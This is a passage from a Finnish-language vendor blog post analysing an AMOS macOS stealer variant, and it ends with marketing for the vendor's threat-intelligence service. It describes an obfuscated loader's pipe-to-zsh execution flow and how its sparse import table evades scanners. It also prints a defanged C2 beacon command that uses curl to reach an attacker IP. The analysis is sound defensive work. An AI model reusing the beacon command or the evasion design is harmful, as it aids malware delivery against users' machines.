Tätä kutsutaan nimellä zero-after-use, samaa tekniikkaa käyttävät korkean turvallisuuden kryptografiset kirjastot, jotta avainmateriaalia ei jää muistiin. Tämän tekniikan esiintyminen commodity-haittaohjelmassa on epätavallista ja viittaa kehittäjään, jolla on security engineering -tausta.

Täydellinen suoritussekvenssi:

__cstring:  "\x01LG@\x01T]F"   (7 bytes, obfuscated)
    ↓  SIMD XOR with 0x2e (8-wide vector)
stack:      "/bin/zsh\0"         (decoded in-place, stack only)
    ↓  _pipe() creates fd pair [read=local_60, write=local_5c]
    ↓  _fork()
    │
    ├─ CHILD:  _dup2(local_60, 0)   stdin = pipe read end
    │          _execvp("/bin/zsh", ["/bin/zsh", "-s", NULL])
    │          → /bin/zsh reads commands from stdin (= pipe)
    │
    └─ PARENT: loop: _write(local_5c, payload, variable_chunk)
                     _usleep(1)
               _close(local_5c)    close write end → EOF to shell
               _bzero(payload, len) ← WIPE IMMEDIATELY
               _waitpid(child, ...)

Import-taulukko aseena

Tämän binäärin täydellinen import-taulukko:

// C runtime / memory
_memcpy       _memmove      _memset       _bzero

// Process execution
_fork         _execvp       _execl        __exit

// IPC / pipes
_pipe         _dup2         _close        _write

// Synchronisation
_waitpid      _usleep

// Stack protection
___stack_chk_fail    ___stack_chk_guard

// C++ runtime
operator.new    operator.delete    __Unwind_Resume
___cxa_allocate_exception    ___cxa_throw    ___cxa_begin_catch
___cxa_end_catch    ___cxa_free_exception    ___gxx_personality_v0
terminate    logic_error    bad_array_new_length    __next_prime

// STL containers
append    reserve    push_back    operator=

// Dynamic linking
dyld_stub_binder

Yhteensä 27 symbolia. Se mikä puuttuu, on vähintään yhtä paljastavaa kuin se mikä on läsnä.

Puuttuu: verkko

socket      connect     bind        listen
accept      send        recv        sendto
recvfrom    getaddrinfo gethostbyname

Puuttuu: tiedostojärjestelmä

open        read        fopen       fread
fwrite      fclose      stat        unlink
mkdir       rename      opendir     readdir

Puuttuu: prosessi-introspektio

getpid      getuid      getenv      sysctl

Puuttuu: kryptografia

CCCrypt     SecItemAdd  SecKeychainFind

Perinteisestä haittaohjelmasamplesta odotetaan verkkoimportteja (socket, connect) tai tiedostoimportteja (fopen, write). Tässä binäärissä ei ole yhtäkään. Tavalliselle skannerille se näyttää harmittomalta prosessin käynnistäjältä, ja niin on suunniteltukin: tietoinen arkkitehtuuriratkaisu, joka juoksuttaa staattiset analyysityökalut tyhjään.

helper-binääri ei tee varkautta itse. Sen ainoa tarkoitus on pudottaa ja suorittaa varsinainen haitallinen payload, vahvasti obfuskoitu AppleScript. EDR tai AV, joka etsii haitallisia binäärejä, näkee tässä loaderin ilman verkko- tai tiedosto-I/O:ta ja saattaa luokitella sen puhtaaksi tunnistamatta, että binääri on erikoistunut toimitusjärjestelmä korkean tason skriptipayloadille.


Takaovi

Incident ei päättynyt alkuperäiseen kompromentointiin. Microsoft Defenderin telemetria näytti prosessin, joka ajoi polusta /Users/<redacted>/.mainhelper ja kysyi ulkoiselta palvelimelta:

sh -c "curl -s 'http[:]//45.94.47[.]204/api/tasks/*********************'"

Base64-merkkijono dekoodautui 16 tavun laite-UUID:ksi, yksilölliseksi tunnisteeksi, jonka hyökkääjän C2-infrastruktuuri oli antanut tälle laitteelle ensimmäisen infektion päivänä.

.mainhelper-binääri (SHA-256: 7c6766e2b05dfbb286a1ba48ff3e766d4507254e217e8cb77343569153d63063) oli asennettu incidentin päivänä osascript-dropperin toimesta ditto-komennolla.


Kollektiivisen kilven voima: Shared-Threat-Intelligence-alustamme

Kun SOC:ssamme laukeaa alert, kello alkaa käydä paitsi kyseiselle asiakkaalle myös jokaiselle organisaatiolle glueckkanjan suojakilven alla. Tämä tutkimus dokumentoimattomasta AMOS-variantista tekee selväksi, mitä Intelligence Gap käytännössä merkitsee: vaarallinen aikaikkuna, jossa perinteiset toimittajat ovat sokeita, koska ne eivät ole vielä nähneet uhkaa.

Tässä oma Shared Threat Intelligence Platformimme näyttää arvonsa, kehitettynä yksinomaan glueckkanjan CSOC-asiakkaille. Emme odota alan päivityksiä, me tuotamme ne. Kun analyytikkomme vielä purkivat ARM64-assemblyn viimeisiä kerroksia, Automated Orchestration Enginemme jakoi jo poimitut indikaattorit koko ekosysteemiimme. Se tuottaa laumaimmuniteetin: se mikä löydetään yhdeltä ainoalta endpointilta, on minuuteissa estetty uhka jokaiselle organisaatiolle suojamme alla.

Reaktiivinen tietoturva ei toimi uhkia vastaan, jotka livahtavat tarkoituksella perinteisten puolustusmekanismien aukoista. Vastaus on inhimillisen asiantuntemuksen yhdistämisessä arkkitehtuuriin, joka ottaa tämän tiedon käyttöön välittömästi ja skaalassa. Shared intelligence -mallimme kautta hyökkääjän aikaetu kääntyy päinvastaiseksi: asiakkaamme ovat suojattuja ennen kuin ala edes tunnistaa uhkan.

Huomautus tietosuojasta

Tunnistetiedot on anonymisoitu tässä julkaisussa. Tiettyjä teknisiä yksityiskohtia, indikaattoreita ja aikaleimoja on voitu muuttaa hieman, jotta kyseisen ympäristön jatkuva suojaus varmistetaan analyysin teknistä eheyttä heikentämättä.

Tämän raportin tekniset analyysit ja Indicators of Compromise (IOC:t) on tarkoitettu yksinomaan tiedoksi ja koulutukseksi. Ne tarjotaan parhaan tiedon mukaan. glueckkanja AG ei anna nimenomaisia tai hiljaisia takuita täydellisyydestä tai tarkkuudesta eikä vastaa vahingoista, menetyksistä tai tietoturvapoikkeamista, jotka syntyvät tässä jaettujen tietojen, sääntöjen tai signatuurien käytöstä. Suosittelemme validoimaan kaikki indikaattorit ja säännöt hallitussa ympäristössä ennen käyttöönottoa.

Kuvatut indikaattorit ja tekniikat voivat mennä päällekkäin tunnettujen haittaohjelmaperheiden kanssa eikä niitä voi liittää yksinomaan yhteen kampanjaan.

Ota yhteyttä

Haluatteko tietää, miten Shared Threat Intelligence Platformimme suojaa teitä tuntemattomilta haittaohjelmavarianteilta jo ennen kuin ala saa niistä tiedon? Ottakaa yhteyttä.
Muotokuva Jan Geisbauerista, glueckkanjan Head of Security
Vaarallista tässä variantissa ei ollut tekninen kompleksisuus, niin vaikuttava kuin se onkin. Vaarallista oli aikaikkuna. Ilman Shared Threat Intelligenceä muut asiakkaamme olisivat seisoneet tuntikausia suojaamattomina, kun me vielä analysoimme.
Jan GeisbauerHead of Security

Samankaltaiset artikkelit